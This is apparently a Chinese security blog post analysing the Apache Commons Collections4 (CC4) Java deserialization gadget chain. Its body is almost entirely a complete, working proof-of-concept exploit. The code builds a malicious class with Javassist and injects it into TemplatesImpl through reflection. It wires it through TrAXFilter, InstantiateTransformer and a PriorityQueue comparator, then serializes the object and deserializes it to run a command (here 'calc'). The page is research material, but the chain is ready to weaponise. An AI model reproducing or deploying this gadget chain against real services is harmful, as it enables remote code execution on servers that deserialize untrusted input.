当前位置: 首页 > article >正文

Java安全之Commons Collections4分析

CC4分析

import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.*;
import org.apache.commons.collections4.Transformer;

import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;


import javax.xml.transform.Templates;
import java.io.*;

import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.PriorityQueue;
public class cc4 {
    public static void main(String[] args) throws IOException, CannotCompileException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, NotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
        //使用字节码创建恶意类
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        ClassPool classPool=ClassPool.getDefault();
        classPool.appendClassPath(AbstractTranslet);
        CtClass payload=classPool.makeClass("cc4Demo");
        payload.setSuperclass(classPool.get(AbstractTranslet));
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
        byte[] bytes = payload.toBytecode();


        //反射调用TemplatesImpl
        String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        Object templates = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
        //设置_bytecodes属性,将二进的恶意类添加到_bytecodes
        Field field=templates.getClass().getDeclaredField("_bytecodes");
        field.setAccessible(true);
        field.set(templates,new byte[][]{bytes});
        //设置_name属性
        Field name=templates.getClass().getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"test");


        //生成tramsformer
        Transformer[] trans = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[]{Templates.class},
                        new Object[]{templates})
        };

        //生成ChainedTransformer
        ChainedTransformer chian = new ChainedTransformer(trans);
        TransformingComparator transCom = new TransformingComparator(chian);

        //生成PriorityQueue
        PriorityQueue queue = new PriorityQueue(2);
        queue.add(1);
        queue.add(1);

        Field com = PriorityQueue.class.getDeclaredField("comparator");
        com.setAccessible(true);
        com.set(queue,transCom);


        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
        outputStream.writeObject(queue);
        outputStream.close();


        ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
        inputStream.readObject();
    }
}

 


http://www.kler.cn/a/159424.html

相关文章:

  • 深入解析 MySQL 数据库:数据库时区问题
  • 视频流媒体播放器EasyPlayer.js RTSP播放器视频颜色变灰色/渲染发绿的原因分析
  • 黑马嵌入式开发入门模电基础学习笔记
  • 系统架构设计师第二版口诀
  • 【Qt】报错error: undefined reference to `vtable for的最简单解决
  • 【环境配置】macOS配置jdk与maven
  • 虚拟人如何在线下活动实现实时交互?动捕设备或为最优解
  • 网络编程HTTP协议进化史
  • HM1111 not know C++
  • 如何进行餐饮行业研究
  • 基于c++版本的数据结构改-python栈和队列思维总结
  • Docker tag 命令
  • 工商业分布式光伏电站的盈利模式有哪些?
  • 数字工厂时代,如何实现3D数据访问与发布、WEB大模型可视化?
  • 命名实体识别
  • 虾皮关键词详情API接口在电商行业中的重要性及实时数据获取实现
  • DNS协议(DNS规范、DNS报文、DNS智能选路)
  • 【Python】zip
  • 树_二叉搜索树小绝对差
  • C# Demo--汉字转拼音
  • Java中常用的垃圾回收器
  • 软件工程 复习笔记
  • Vue混淆与还原
  • python处理的例子
  • jupyter notebook搭建
  • Oracle初始化参数文件pfile和spfile